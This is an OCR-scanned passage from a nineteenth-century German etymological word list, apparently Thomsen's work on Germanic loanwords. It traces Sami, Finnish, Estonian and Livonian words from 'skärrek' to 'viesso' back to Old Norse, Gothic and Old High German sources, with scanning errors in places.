skärrek pl. nw.-l.; sw.-l. skarjah pl., forfex (53. 55. 67.
81), = an. sJcceri pl. n., nw. shjcera (vgl. ahd. scar, pl.
scäri fem.). Neuere entlehnung desselben wertes ist nw.-L
skierak, skaerak pl., forfex minor (54. 55. 81). Vom
deutschen schere kommt ehst. kär, gew. pl. kärid,
liv. Skeröd, Skerd, vgl. lett. schweres pl. (60).
skavßßa nw.-l.; sw.-l. skauöa, barba (68. 81), = an.
skegg n.
skeudo sw.-l., perula, sacculus, = an. skjoäa, id.
skipa, skippa gem.-l., navis (44. 71), = an. skip.
8 kipot nw.-L, navi imponere, e navi exponere (98), == an.
skipa, id.
skuoudo sw.-l., * vagina vei aliud istius modi, quo quid
contegitur sive conditur, theca' (50. 79), == an. skav^
fem., ags. scedä, vagina, nhd. schote, got. skauda^\ vgl.
kauto. Hiervon wol auch nw.-l. skuvddo, theca pel-
licea, qua digitus sauciatus obducitur (Leem). Verwandt
ist vielleicht auch nw.-l. skoavdde, crusta frugis (das.). '
Wörtverzeichniss. 171
slubbo, Slubbo nw.-, sw.-l.; sw.-l. auchklubbo, clava
(60. 63), = an. Euhha. Auch f. (k)lupu (62).
sluokes, Sluokes nw.-, sw.-l., astutus, eher =BJi.MöJcr
(vgl. das vorherg. wort) als = an. sloßgr.
s m akka nw.-, sw.-l., gustus, ==nw., sw.smak. (Verschieden
davon ist f. maku, id., das mit makea, dulcis, u. s. w.
verwandt und nicht entlehnt ist).
so am e s nw.-l.; sw.-l. s om es, quidam, nonnullus (44. 75),
= an. stimr, got sums.
solki, gen. -Ijen, -len, f.; ehst. solg, gen. sole, liv.
suol'g, nw.-l. solljo, brustspange, = an. sylgja, nw.
sölgje. Da indessen das wort im nordischen ganz isoliert
steht, da femer die form, besonders die endung der finn.
Wörter nicht genau damit stimmt , und da endlich mordw.
sulgam, Sorem, äolkamä, fibula in antica parte indu-
sii, davon nicht getrennt werden können, dürfte das wort
vielleicht eher aus dem finn. ins nord. gekommen sein.
Nur 1. s 1 1 j e scheint jedesfalls zunächst aus dem nord.
herübergenommen zu sein,
sorvaan, varvaan, inf. -vata, f.; wot. sorvata, tor-
nare (59. 97), == sw. svarfva. — Nw.-l. spjerbam,
vjerbam, inf. -bbat, id., = an. sverfa.
spa.lfo, spallo nw.-l.; sw.-l. svalfo, hirundo (59. 68.
93), = an. svcda^ ags. svaleve, svealve, ahd. swcdawä.
spidne nw.-l.; sw.-l. svine, sus (59. 78), = an. svin.
Spille, gew. pl. spiliöak (Priis Gramm. § 156, 4, anm.)
nw.-L; sw.-l. sville, svillißeh, maritus sororis uxo-
ris, viri, quorum uxores sorores sunt (92), = an. svili,
pl. svüar, id.
stadde, staddo nw.-l., incus (67. 92), = an. steäi m.
stadfo nw.-, sw.-l, portus, locus, ubi cymbse adlitus appel-
luntur (55. 68. 79), = an. stöct fem. (st. stadva-).
staggo nw.-, SW.-L; f. tanko (ehst. tang, gen. tannu),
pertica, contus (79. 91), = an. stöng (pl. stengr), ahd.
stanga fem.
stalle gem.-l., chalybs (43. 78), = an. stdi.
stivrre nw.-l.; sw.-l. stivre, (stur, sture), gubernacu-
lum (81), = an. styri n. (urspr. st. stiurja-); nw.-l. auch
172 Wortverzeichni88.
stivran = an. stjarn. — Nw.-1. stivrrit, sw.-l. sti-
vret, gubernare (53. 97), = an. styra, got. stiurjan,
lazdvai, diaßeßaiovodm. Ehst. türima, id., aus dem nd.
stokke nw.-l.; sw.-l. stuokke, stuekke; f. tukki,
tignum, truncus = an. stokkr, altsw. stokker, stukker.
stoppo, stuoppo, gen. -vo, nw.-l.; sw.-l. stopo, aedes,
aedicula (44. 62. 93), «= an. stofa. Vgl: tupa.
studdo sw.-l., intervallum, distantia minor (79), = an.
stund, ahd. stt^nda. F. tunti, wot tunni, ehst. tund,
liv. stund, turin, hora, theüs aus dem sw., theils aus
dem deutschen (f. in Ingennanland und wot. tunnit pl.,
horologium, nach der analogie des russ. qacm casi^, id.,
pl. von HacT) das, hora).
stuores gem.-l., magnus (45. 75), = an. störr (wo 6 wol
för urspr. a«;(a) steht, vgl. Schleicher Comp.*, s. 156, 848;
vgl. skr. sthaviraSy fest, stölas, gross; verwandt ist auch
wol lit. störas, dick, stark). Gewöhnlich pflegt man hier-
von auch f. suuri, gen. -ren, russ.-kar. Suuri, wot.
süri, weps., liv. sür, ehst. sür, russ.-l. Suf, abzuleiten.
Indessen passt die ganze form nicht recht (vgl. 58 anm. 3)
und sie stimmt namentlich nur schlecht zu dem alter, wel-
ches das wort, seiner Verbreitung nach zu schliessen,
haben muss. Es scheint mir daher sehr zweifelhaft, ob
es überhaupt, oder wenigstens aus den germanischen spra-
chen entlehnt ist.
sturJB SW.-L, seditio (81), = dm. stt/rr.
suddo gem.-l., peccatum (53. 66. 82), = an. synd, alts.
sundia, sundea (urspr. st. sundja-). Davon suddodet,
peccare (98). F., wot. synti (101) = sw, synd.
sukka f., wot.; ehst. sukk, liv. sukä, strumpf (45); en.-l.
sokka, sw.-l. suokko, id., = an. soMr, ehst. - sw. smäA,
sukka (von lat soccus).
sukt SW.-L, gravedo, febris ardens, sutt, sutta, febris
ardens, = an. söU^ süt, got. sauhts. Von zweifelhaftem
alter,
sunnuntai f.; nw.-l. sodna-bsejvve (und sodnu-b.),
SW.-L sodnu-peive, dies solis (45. 94), = an. sunnu-
dagr, altsw. sunnudagher.
Wortverzeichniss. 173
S u O b ra e nw. - 1. , ornatus , schmuck (Stockfleth) , = an. sömi
m.; sub mit, ornare (id.), = soema. Zweifelhafter ist es,
ob f. soma, somas, russ.-kar. §oma, weps. <^oma,
nw.-l. soamalaS, aptus, commodus, decorus, auch hier-
her gehören.
suotas nw.-l.; sW.-l. ^suottes', en.-l. suotas, suata,
suavis, jucundus (53. 83), = an. soetr, ahd. stiozi, got.
stUs.
sures nw.-, sw.-l., acidus (45. 75), == an. surr.
surku, surko f., misericordia, surkea, miser, dolendus,
suru, dolor animi, cura rei anxia; sw.- (nw.-)l. surgo,
moeror (45. 64. 79), = got. saurga, ineQijiiva, Xtvtrj, an.
sorg fem. Zweifelhaft ist das verhältniss zu dem verbum
suren f., dolore afficior, curam gero, aber wot., ehst.,
liv. morior, woher surma in allen sprachen, mors vio-
lenta, das nicht entlehnt zu sein scheint. Vgl. Budenz in
Nyelvtud. közlem. VI, s. 432, nr. 345. Wahrscheinlich
muss man eine theilweise Vermischung dieser wurzel mit
germanischen elementen annehmen.
suutari f.; nw.-l. suttar, sw.-l. sutar, sutor (45. 64.
94), = an. sütari (vom lat). *
suvle SW.-L; nw.-l. sule, obsonium, = an. sufl, nw. stwZ,
sul, sw. sofvd.
s vain es sw.-l., puer, famulus (74), = an. sveinn,
sänky f.; ehst. sang, gen. sänni, nw.-, en.-l. ssengga,
sw.-l. ssengo, lectus (66. 101), =:= an. seewjf, altsw. secngf,
siang, siceng.
säfk, gen. -rgi, ehst., hemd, bisw. rock, liv. särk, pl.
särkid, mannshemd, == 2Ln, serkr, hemd, rock, sw. särk,
weibshemd.
Tade', auch taahe' f. (kar.), fimus (gew. tadikko, furca.
— 78), ==r an. taä n. (davon teäja^ ahd. ^ettan sterco-
rare).
-tai, bisweilen -tak, f.; 1. -dak, -tak, in zusanamensetz.
mit einem vorhergehenden gen., dies (63), = an. dagr,
altsw. dagher.
174 Wortverzeichniss.
taika f., Signum; divinandi Signum , prsesignatio rei futurae
superstitiosa , vgl. ahd. zeiga , assignatio, demonstratio (vgL
got. gateihan, ccTrayyilleiv, und taikns, arjiiieiovy evdeiyfia).
taikina f.; ehst. taigen, gen. *gna, auch taignus,
taigne, liv. taigandöks, tiegandöks, tiegon^ tän,
massa; weps. taigin, wot. taiöina/ taiökaja, back-
trog; nw.-l.dajgge, sw.-l. daig, daigen, massa (49),
= got. daigSy an. deigr, deig. Die ableitungsendung im
finn. erinnert an ahd. teiginna fem., massa.
taina f., planta, tainta, tainna, fusus (40. 75), r= got.
tains, yd^ftiay an. t&inn, id., fusus. Das verhältniss zu
f., wot. taimi, planta, ist nicht klar; vielleicht steht
diess in Verbindung mit lit. dygti, keimen, degas, der
keim.
dakke, take nw.-l.; sw.-l. tak, tectum (77), = an. ^ofc.
tapa f., wot.; weps. taba, ehst. taba, tau, nw.-l. dappe
(37), sw.-, en.-l. tape, mos, consuetudo (f. tavalli-
nen, solitus) scheint verwandt mit got gadahan, av/tißai-
veiv, ags. gedafafiy decere; got. gadöfs^ itqeTttoVj ags.
gedefe, congruus. Liv. daba, 'gewohnheit, weise, natur',
ist beeinflusst von lett. dahba, natur, das selbst vielleicht
entlehnt ist.
tarve', gen. -rpeen (tarvis Kalev. 32, 399), f.; ehst.
tarwe, gen. -rbe, liv. tärbiks, nw.-l. darbaS, en.-l.
tärpaä, necessitas (56. 85); ehst. tarwis, id., necessa-
rius; f. tarvitsen, inf. tarvita, ehst. tarwitama,
nw.-l. darbaSet, en.-l. tärbaäed, sw.-l. tarbahet,
egere (96. 98); nw.-l. darbbo, sw.-l. tarbo, necessi-
tas (79); 'sw.-l. tarbes, necessarius = got. parba fem.,
vareQfjfia , farbs , avayxalog; sm. pörf fem. , fl.parfar, ahd.
darha , ags. pearfu ; an. parfr adj.
tasku f.; ehst. tasku, task, gen. -u, sw.-l. tasko, pera
in vestibus, liv. ta§k, pl. -üd, weibertasche (93), = an.,
sw. taska.
dank (Lind. u. Öhrl.), tau k (Tornaeus), davka (Friis Sprpr.
123) 1. (bes. sw.-l.); tamen, «= got. pauh, an. pö, F.
toki = sw. doch
Wortverzeichniss. 175
tauko f., fiinis longior lateralis in retibus et navibus pro-
movendis (50. 79), = an. taug f. (Von der wurzel tuh
in got. tiuhan^ ducere).
taurio f. (selten), pernicies, = ahd. störida fem., got.
^stauripa ?
tauti, gen. -din, f., wot.; ehst. taud', nw.-L davdda,
sw.-l. taud, en.-l. tavda, schwere krankheit, seuche,
vgl. got. daupuSf ^dvaTOQy an. dauäi, altsw. döpi?
teljo f., asser interior navigii e. c. transtrum, sw.-l. tilja,
id., weps. tel, pl. -llid, transtrum (44. 67. 93), = an.
pilja, ahd. dillä.
telta, velum quodvis obductum, tentorium, conopeum (z. b.
Kalev. 37, 179. Kanteletar«, s. 268 v. 48); ehst. töld,
gen. -IIa, kutsche; nw.-l. dieldde, sw.-l. telte, tegu-
mentum, ünprimis quo trahas suas tegunt Lappones (52.
77), = an. tjcdd, tentorium, aulaeum, altsw. tiald, titeld,
jetzt tjöMy ehst.- s w. tjald, tjäl, telde, decke. — . Dage-
gen ist f. teltti, ehst tel't, tel'k, liv. teit, pl. -öd,
tentorium, = nd. telt und dem von da aufgenommenen
sw. tält
terva f., wot.; weps. terv, ehst. törw, liv. töra, türa,
türv, sw.-l. tarve, theer; nw.-l. darvvit, sw.-l. tar-
vot, theeren (52. 68), == an. tjara fem., ags. tearo, tyrOy
gen. -rves m. Doch könnte man auch an lit. dervd, darva^
kienholz, lett. darwa, theer, denken,
teudnar sw.-l., servus, famulus (51), = an. ^'öwaW.
teuras f., mactandum aliquid, Schlachtvieh, teurastaa,
mactare, ehst. töbras, töuras (tauras), vieh, vgl. ags.
tiber, ahd. zepar, (an. tafn), victima, sacrificium (vgl. alt-
frz. ioiwe, Diez, Et. Wb.« 11, 424). Wenn nicht die fehst.
form vorauszusetzen schiene, dass der diphthong nicht
ursprünglich sei (vgl. s. 21), so könnte got. stiur, fxoaxog,
anscheinend näher gelegen haben,
dierbbe nw.-l.; sw.-l. tirbok, temerarius, inurbanus (52.
75), = an. djarfr.
dievddo, divddo nw.-l.; sw.-l. teudo (meist zusammen-
gesetzt mit olmuS, homo), mäs, vir (51. 79),== ^n.pj6ä
fem., got. piuda.
176 Wortverzeichniss.
d i e V n a S nw. ^ 1. , eucharistia (51), =- an. pjönasta.
digge, tigge 1., Judicium, forum (44), =*= 2Ji. ping,
tiima f., hora, nw.-l. dibmo, dimo, en.-l. timu, tima,
hora, horologium (92), = an. tirm m., altsw. timi, jetzt
timme, timma (Kydqvistll, 184. IV, 10), nyl. t%ma,
tiinu f.; ehst. tln, gen. -u, situla operculo instructa (93),
= sw. (und nw.) tina (vgl. got. tainjö, xoq^ivog). Hier-
von vermuthlich auch deutsch (in den Ostseeprovinzen)
tiene und davon. wol wieder die ehst. form tln, gen. tini,
liv. tln, pl -öd, und lett. tine.
tila f., facultas, opportunitas ; locus, spatium; status rei,
conditio; commoditas vecturaB hiemalis; wot. tila, win-
terweg; ehst. tila, zeit des schlechten weges (auch paha
[schlecht] tila; magamize-tila, lagerstelle, platz zum
schlafen); nw.-l. dille, en.-l. tlle, tille, sw.-l. tilje,
opportunitas, occasio; status (44. 77. 106), = got. til
(Luc. 6 , 7) das wol richtiger mit Grimm (D. Gr. ni, 602)
für ein subst. 'opportunitas' (= ahd. zil, vgl. an. tüi und
die präp. til) gehalten wird, als mit Gabelentz u. Loebe
für ein neutr. eines s.äi.*tils = gatils, evxaiQog, evx^'srogj
ags. til.
tina f., weps., wot., ehst., liv.; nw,-l. dadne, sw.-l. tadne,
tidne, en.-l. tane, russ.-l. tanne, stannum (44. 77),
= an., ags. tin, ahd. Hn. Liv. tina in Livland bedeutet
* plumbum ', während ' stannum ' a 1 u heisst = lett. alwa.
Wot. sigä-tina, ehst. sea-tina (von sikia, sus), plum-
pum, durch falsche nachahmung von russ. cbhhci^T) svinec
(vgl. cBHHbH svinjd, sus).
tiunti, tihunti f.; nw.-L diddo, sw.-L tijod, tivod,
decuma (65. 84), = an. tiund fem., altsw. tiund f., titmdi
m. (Eine nur zufallige Übereinstimmung hiermit zeigt liv.
(in Livland) t' u m d e s , decimus , decima , f u m decem , das
nur eine dialektische abweichung für das gewöhnl. k um
und kümmös, kümdos ist).
tiuris (selten), tyyris (auch tiyris) f; liv. tovros,
nw.-l. divras, divres, sw.-l. deuras, tivras, en.4.
tivres, tivra, carus, pretiosus (33. 53. 82), = an. d^rr,
ahd. tiuri, alts. diuri.
Wortverzeichniss. 177
divrre nw.-, sw.-l., animal, fera (53. 66. 77), = got. dius,
an. d^r, sw. djur.
divtes nw.-l.; sw.-l. tiktok, compactus, solidus, cui
nuUse sunt rimae (65. 75), = 2Ln,peUr. Hierzu gehört wol
auchf. tihiä, tihtiä, (tihkiä, tiuha, tiukka u. m. a.
formen), wot. tihti, ehst. tiht, densus, solidus (f. auch
parcus, tenax). Gewiss, wenigstens im f., eine alte ent-
lehnung mit starken späteren Veränderungen und abschlei-
fungen, und zugleich, wie es scheint, mit an. fjohkr,
pjuhkr, pyJckr (vgl. Diefenbach H, 700 f.) vermischt. Im
wot. und ehst. vielleicht jedoch erst aus dem deutschen dicht.
toakke nw.-l. (Stockfleth), funis, == an. tog n. Hiervon
auch f. touvi (45. 47. 64) und wol auch ehst. tou,
touw, towi.
dokkim, inf. dokkit, nw.-l.; sw.-l. dokket, utilem esse
(98), = an. duga^ got. dugan,
tuhto f.; nw.-l. duofto, transtrum (44. 45. 63. 64. 93),=
SLU. ßopta fem. (nicht ^op^a, s. Gislason in den Aarbb. f.
nord. Oldkynd. 1866, 258 f.), nw. tofta, ehst.-sw. tufte^
tyfte, tofta.
tulla (auch tullo, tullu) f ; ehst. tolT, tulT, gen. -i,
liv. toTT, pl. tölid, scalmus (45), = an. j^oMr, sw. tulle.
tulli f., portorium, ehst. t o TT, gen. -i, liv. toTT, pl. toT-
Tod, id., poUex (45. 70. 71), = an. tollr^ sw. tull, por-
torium, nd. toll.
tunkio f., acervus purgamentorum, fimetum (sonta-t.
sterculinium Kaie v. 3, 281; rikka-t. acervus quisquilia-
rum ibd. 17, 340) (53. 67. 93), = an. dyngja, altsw. dyngia,
got. *duggjö.
^uögje, gen. duöje, nw.-l.; sw.-l. tuoje, en.-l. työje;
f. työ, opus, opificium(81) (nw.-l. duogjar, sw.-l. tuo-
jar, opifex), = got. taui, gen. töjis (vgl. an. toC).
tuomitsen, inf. -ita, f. (53. 96); nw.-l. dubmit, sw.-l.
duobmet, en.-l. tuobmid (53. 97), judicare, = got.
dömjan, an. doßma, F. tuomio, 1. duobmo, Judicium,
ist wieder vom verbum abgeleitet, vgl. s. 26. P. tuo-
mari, 1. tuobmar, tu obmar, judex (45. 94), == (an.
domari), altsw. domari, domeri.
Thomsen, Einfluss d. germ. spracben. 12 *
178 Wortverzeichniss,
tupa f.; ehst., liv. tuba, sw.-l. toppe, en.-l. tupe (ent-
lehnt aus dem f., vgl stoppo), aediculum, cubiculum
(45. 59. 62. 93), = an. stofa, altsw. stuva, stugha^ ahd.
stuba. Hiervon auch lit. stubä, altsl. istliba, izba u. s. w.
(Miklosich in den Denkschr. d. Wien. Ak. XV, 93) und
ung. szoba, id., türk. iuya soha^ hypocaustum, das seine
bedeutung mit mlat. stuha und den in den neueren roma-
nischen sprachen vorkommenden formen desselben Ursprungs
theilt (Diez, Et. Wb.* I, 402) und gewiss mit unrecht
von Hunfalvy (Nyelvtud. közlem. III, 24) für urspr. altaisch
gehalten wird. Die endung -a im finn. neben dem alter-
thümlicheu p, b, könnte übrigens darauf hindeuten, dass
das wort zunächst aus dem lit., nicht unmittelbar aus
dem germanischen entnommen sei, in welchem falle man
eher -o erwarten sollte.
tursas f., turgidus; monstrum maritimum fabulosum (Kalev.
2, 67), ehst. tursas, name einer meergottheit (74), =
B,n, purs^pursi, ags. ^^rs, ahd. duris, durs (vgl. Grimm,
D. Mythol. ^ 487 ff.)
turska f.; ehst. tursk, liv. turska, nw.-l. dorske, ga-
dus morrhua (f. auch monstrum marinum, wie Kalev. 15,
293) (45. 56. 75), == m. porskr.
turve% turves, gen. -rpeen f.; weps. turbas, ehst.
turwas, turbas, turbe, turblas, turbel, liv. dür-
bal (sw.-l. tarfe), caespes (45. 78. 91), = an. torf n.,
torfa fem., ags. turfj^l., tyr f fem., ahd. zurha, ssurf fem.
tuuma f., poUex (92) , r= an., altsw. ^wmi, ^yf.tumrm, nyl.
tünty ags. püma.
daelle nw.-l.; sw.-l. tele, nix compacta (44. 92), == an.
pdi, nw. tde,
tJddo nw.-, sw.-l., cicätrix (58. 79), = an. und, ahd. wunta,
wunda.
uUo gem.-L, lana (45. 58. 79), = an. ull, got. vuUa.
urtas, hurtas nw.-l.; sw.-l. urtes, herba, radix (45.
57. 85. 90), = got. vaurts fem., aurti-gwrds, an. urt.
Wortverzeiclinißs. 179
F. yrtti, id., ist eine neuere entlehnung von sw. ört^
älter yrt (Eydqvist IV, 89 anm .*)
uskim, inf. uskit, f., optare, minari alicui mala (58.97), =
an. oßskja, ahd, (wunscjan), wunscan,
utar, ntare' f.; weps. udar, wot. uhar, ehst. udar,
udaras, liv. udär, udar, über, scheint = ags. üder,'
ahd. ütar (vgl. Curtius, Gr. Et.^ 235). Mordw: o dar,
öerem. vadar macht es indessen zweifelhaft, ob diese
werte germ. Ursprunges sind; vgl. z. b. li^. udröti, eutern.
uvja nw.-l., pluma (53. 67. 81), = arf. %, nw. hy. Es
ist unsicher , ob diess wort von einer unumgelauteten form
ausgeht, oder ob uvj- = ^ ist (vgl. s. 54).
Vaaja, vavia f.; ehst. wai, gen. waia, dorp.-ehst. waga,
gen. waja (auch wagi, wadi), liv. vaigä, sw.-l.
vuoive (entlehnt aus dem finn. , mit metathesis), pflock,
keil, pfähl (67. 81), = an. veggr, ahd. tveggi (st. vagja-).
Bei Heinrich dem Letten kommt diess wort in der form
Wagia, VTagya, Waiga, Wayga als name einer pro-
vinz von Ehstland vor (= Vadja-, wotisch? Vgl. Sjö-
gren, Ges. Sehr. I, 501 =M6m. de Tac. de St. Petersbg. VI
s6r. I, 326). Die finn. werte könnten jedoch auch == lit.
vdgis, ein hölzerner, krummer nagel zum aufhängen von
Sachen; keil, lett. wadßs (st. vagja-) sein; diese wörte
sind indessen vielleicht selbst entlehnt, da die indogerm.
Wurzel vaqh im lit. sonst die form vaS anzunehmen pflegt.
(Nicht in betracht kommt weps. s vai, pfähl (im wasser)
= russ. CBafl svdja),
vaaka f.; ehst. wäg, gen. wäe, bilanx (43), = an. m^, altsw.
vagh, ahd. waga,
vaakuna f., wappen (43), = altsw. vakn, vapn, diall.
väken-hus (Rietz 821).
vaate', gen. -tteen, f.; ehst. wat't', liv. v at', vestis, weps.
vg.teh, gen. -tken, pannus (43. 64. 85. 106), vgl. an.
vdä, ags. vced fem. (st. vädi-). Hiervon auch sw.-l. vadas,
grobes wollenzeug (86).
vadäo, gen. vado, nw.-l., linea piscatoria, = an. vaär
!»., nw. vad n.
12*
180 Wortverzeichniss.
vaddo, gen. id., nw.-l.; en.-l. vaddu, periculum, sw.-L
vaddo, morbus (6§. 92), = an. vandi.
vades, vaddes nw.-L; sw.-l. vaddok, difficilis (75), =
an. vandr.
vadne, gen. vane, nw.-L; sw.-l. vane, penuria (meist
in composs. wie ßalbme-vadne-olmuS, homo oculis
captus), SW.-L vanes, deficiens, == an. vani, penuria,
vanr, got. vans adj.
vahto, -u, -i,^vaahti f.; wot. vähsi, rev.-ehst. waht,
gen. wahu, dorp.-ehst. watt, gen. watu, liv. vä, vö,
vast, spuma (59. 93), = got. hvapö, sw. dialL hvaa
(Eietz 269).
vaiva f., russ.-kar., wot.; ehst. waew, waiw, gen. -a,
liv. väja, vöja, vaive, nw.-L vajvve, sw.-, en.-L
vaive, labor molestus, molestia, serumna, miseria (50.
68. 92. 94. Davon f. vaivaa, vaivata, ehst. wae-
wama, wot. vaivattaa, L vajvedet, aflfligere, vexare;
f. Vaivatar mythoL 'ftiria' u. m. a.), = ags. vava m.,
ahd. wewo m., got. *vaiva, an. vd f. Gehört hierzu viel-
leicht auch f. vaikea, miserabilis, difficilis? (Dagegen
ist ung. baj, labor, pugna, in beiden bedeutungen =
slaw. bcj pugna).
vakke, gen. vage, nw.-L, parvus maris sinus (43. 75), =
an. vdgr.
valas (öfter valas-kala, von kala, piscis) f., ehst.; gem.-
Lvales, fales, cetus (43. 59. 74), = an. hvalr, pL
hvalar und hvalir (vgl. Sv. Egilsson und Bugge, Norr.
Fornkv. s. 111, v. 36anm.), ags. hväl, ^Lhvalas. Neuere
entlehnung ist liv. falfiS.
valas nw.-L, im compos. skuot-valas, clavus navigii, per
quem dirigitur (Leem), = got. valus, ^dßdog, an. völr
(vgL s. 89. — Skuot-, skota (Friis Sprpr. 89), skot-
tas (ibd. 91), puppis = an. skutr, nw. sJcuty sTcot).
valin, valitsen, inf. valia, valita, f.; weps. valit-
Sen, ehst. walitsen; nw.-L valljit, en.-L valjid,
SW.-L valjet, eligere (53. 96. 97), = got. valjan, an.
velja. Dagegen ist f. vaali (selten vali), electio, eine
neuere entlehnung von sw. val.
Wortverzeichniss. 181
valta f., potentia, arbitrium (valtias, potens, princeps,
vallitsen, inf. -ita, dominari, valtaan, inf. -llata,
potiri u. m. a.), weps. vald, libertas, arbitrium, ehst
wald, macht, gewalt, gebiet, reich, gut (walitsema,
herrschen), wot. valta, id,, liv. välda 1) erlaubniss,
freiheit, macht; 2) (dial. vald, väld) reich; gebiet, gut;
nw.-, en.-l. valdde (sw.-l. velde), potentia (77), = an.
vald n., veldi n.; got. valdaUj olytoöea/coTeiv , valdufni,
l^ovaia. Einige der abgeleiteten werte können vom lit.
beeinflusst sein, vgl. lit. valdpi, dominari, regere, vaidm
(für *vdldiä), herrschaft, regierung, gebiet, ven-valdys,
'monarch', lett. waldigs, ^herrschend'.
vamma (Kale v. 45, 208), selten vammas, vitium, men-
dum, max. in corpore, vulnus (77. Davon Vammatar,
dea, Kai. 45, 283), = got. vamm n. (oder m.), 07dXog^
an. vamm n.
vanne', gen. vanteen, £, vimen v. circulus ligneus, quo
vasa constringuntur, vibex, weps. v and eh, gen. -dhen,
id. (89), ==gotvandus, an. vöndr. L. vuodda, pl. vuod-
dagak, ligamen calceamenti, könnte der form nach hierzu
passen (vgl. vuola 88 anm. 3), weniger der bedeutung nach.
vanttu, gen. -ntun; vantus, -tut, gen. -ttu(h)un
(Kalev. 27, 56. 20, 16. 47, 206), chirotheca lanea, nw.-,
sw.-l. fäc(ca), vac(ca), id. (66. 88. 89), = an. vöUr
(st. vantu'); auch mlat. vantus, ital. guanto u. s. w. (s.
Diez, Et. Wb. 2, I, 230).
vara f., copia, opes, subsidium, Providentia, admonitio (in
composs. 'vice-'), ehst. wara, vorrath, vermögen, kraft,
liv. vara, id., 1. varre, id., (92), == an. vari m., Pro-
videntia, subsidium (isl. vara-, vice-), vara fem., merx; got.
varei, Ttavovqyia, ags. t;artt f. , attentio, tutela, ahd., alts.
wara fem., id. — Den zuletzt angeführten femininis könnten
auch die finn. nebenformen varo und varu, ehst. waru,
entsprechen, die in gewissen redensarten in der bedeu-
tung subsidium, Providentia u. dgl. vorzukonmien schei-
nen. Eine menge Weiterbildungen kommen in allen spra-
chen vor, z. b. f. varajan, varaan, inf. -rata, provi-
dere; cavere; monere; russ.-kar. varajan, weps. varai-
182 Wortverzeichniss.
dan, caveo, timeo; weps. varastan, expecijo; f. varon,
varoon, id. (97), varoitan, prsemoneo, varustan,
russ.-kar. varuSSan, instruo, provideo u. s. w.
varas, gen. varkaan, f.; weps. vargas, ehst. waras,
gen. - r g a , liv. in Li vi. v a r , für (74. — Davon f. , ehst.
varastan, weps. vargastan, wot. vargasan, furor),
= gotvargs (mlauna-vargs, a;cagr(Troc;) , B,n. vargr, ags.
vearhy maleficus homo proscriptus; lupus; mlat. vargus,
expulsus; vgl. altsl. vragU, inimicus. Die urspr. bedeu-
tung scheint (homo) maleficus oder dgl. zu sein, woraus
die bedeutung lupus abgeleitet ist. Sw. -1. varg, lupus,
ist moderne entlehnung aus dem sw. ; es hat nur zufäl-
lige ähnlichkeit mit sw.-l. varg, en.-l. vorg, nw.-I.
forg (Leem), cito, das gewiss = f. virkiä, viriä, vege-
tus, ist. MokSa-mordw. virgas, ersa-m. vergez, lupus,
ist nicht verwandt (von vir, syrj. vor, silva?), ebenso-
wenig wie ung. farkas, id., (von f ark, cauda, vgl. weps.
händikas von händ, cauda, 1. sejpe, sw.-l. seipeg
vonnw.-l. ssejbbe, sw.-l. seipe, id., ehst. pitk-saba,
eigl. ' lang - schwänz '). Wie verhält es sich mit syrj. var-
gas, astutus? Das echte wort für 'für' ist liv. sai ai,
1. suola, öerem. Sola; mordw. salan, furor, vgl. f. sa-
laan, occulto.
varjo f., wot.; ehst. wari, gen. -rju, -rjo, liv. väri,
vöri, schatten, schirm, schütz, ehst. und wot. auch Schat-
tenbild, Spiegelbild (f. rinta- varjo, brustwehr); sw.-l.
varjo, vserjo, en.-l. varju, nw.-l. vaerjo, arma (53.
54. 55. 67. 93), = an. verja, ahd. wa^'t, wert. — Davon
wieder f. varjoa, varjota (97), varjella, 1. var-
jalet, defendere.
vartia f., vigil, custos, vartio, vigilia, custodia; ehst.
wardija, (wardja), aufseher, hochzeitmarschall , speise-
meister (67. 92. 94), = got. vardja, wovon auch ital.,
sp. guardia u. s. w. Eine Weiterbildung ist f. vartio it-
sen, weps. vardeitäen, vigilo; eine selbständige ent-
lehnung ist dagegen
vartoon, varron, inf. -rrota, -rtoa, observare, expe-
ctare; prsestolari; f.; gem.-l. vuörddet, expectare, auch
Wortverzeichniss. 183
nw. -1. varddet, speculari (43. 97. 98), = an. varäa,
alts. wardön, ahd. wartEn (wovon auch ital. guardanre
n. s. w.). Ueber ung. vär, observare, expectare; subst.
arx , vgl. Budenz in Nyelvtud. közlem. VI s. 468 , no. 552,
553).
Venäjä, Venää, Venät f.; weps. Venä(?), ehst. Wene,
wot. Venäi, Vena, Eussia (f. Venäläinen, ehst. we-
nelane, wot venälaine adj. — 63. 109), =an.Fi»dr,
pl. -ir, ags. Vined-as, Veonod^as, ahd. Winid~ä, eine
bei den germanischen Völkern von uralter zeit her gebräuch-
liche bezeich nung för die Slawen, namentlich in ihren
westlichsten und nordwestlichsten sitzen. Dagegen lässt
sich keine spur aufweisen, dass die Slawen selbst diesen
namen gebraucht haben. Der urspruog desselben ist un-
sicher. Die Zusammenstellung mit den Vanir der nord.
mythologie ist aus der luft gegriffen. — Liv. Krievos,
russicus, Kriev-mö, Kussia = lett. Krivs, russicus (vgl.
Kriviä , ein slawischer stamm in und um Smolensk, Nestor
c. 7 ed. Miklosich).
vero f., tiibutum, nw.-l. vserro, sw.-l. vaero, visero,
id., sacrificium, vgl. mhd. w'ere fem., prsestatio, ahd.
wereriy nhd. gewähren?
verta f., par (pretio, multitudine) , ehst. wors, gen. wor-
ra, werth, betrag, äquivalent; mal (44. 75. F. ver-
taan, inf. verrata, 1. vaerdedet, comparare), = got.
vairpSy iTcavog, a^iog; subst. tl^itj; an. verdr adj. Ehst.
wärt, liv. värt, werth, aus dem deutschen.
vides gem.-l., amplus (62. 75), = an. vidr, ags. md.
vidno, fidno nw.-, sw.-l., negotium (58. 93), = an., nw.
vinna fem., id., got. vinno, 7cdd^r]jna; davon vidnot,
fidnot, operari, vgl. an. vinna verb.
vielpes nw.-L; en.-l. vielpis, sw.-l. felpes, catulus
(44. 74), = an. hvdpr (wo e ablaut, nicht umlaut ist,
vgl. Grimm, D. Gr. III, 329).
viercca nw.-, en.-l.; sw.-l. vserca, aries (44. 69. 89),
= got. vißrus, an. vedr, pl. -rar, doch altsw. (Gutalag)
acc. pl. vepru (Eydqvist U, 142).
184 Wortverzeichniss.
viesso, gen. vieso, nw.-L; sw.-l. vieso, eii.-l. viesu,
• doniicilium ; viesso t, viesot, vivere = an. vera fem.;
Vera, vesa, esse, got. visan, eivat, fuveiv; an. vist, Woh-
nung? Eine zusapamenstellung der 1. Wörter mit dem f.
asua, wohnen, ist weniger wahrscheinlich, weil sich kaum
andere beispiele des dadurch vorausgesetzten . Überganges
nachweisen lassen. Oder sollte dieser vielleicht seinen
grund in einem secundären einfluss des nordischen haben?
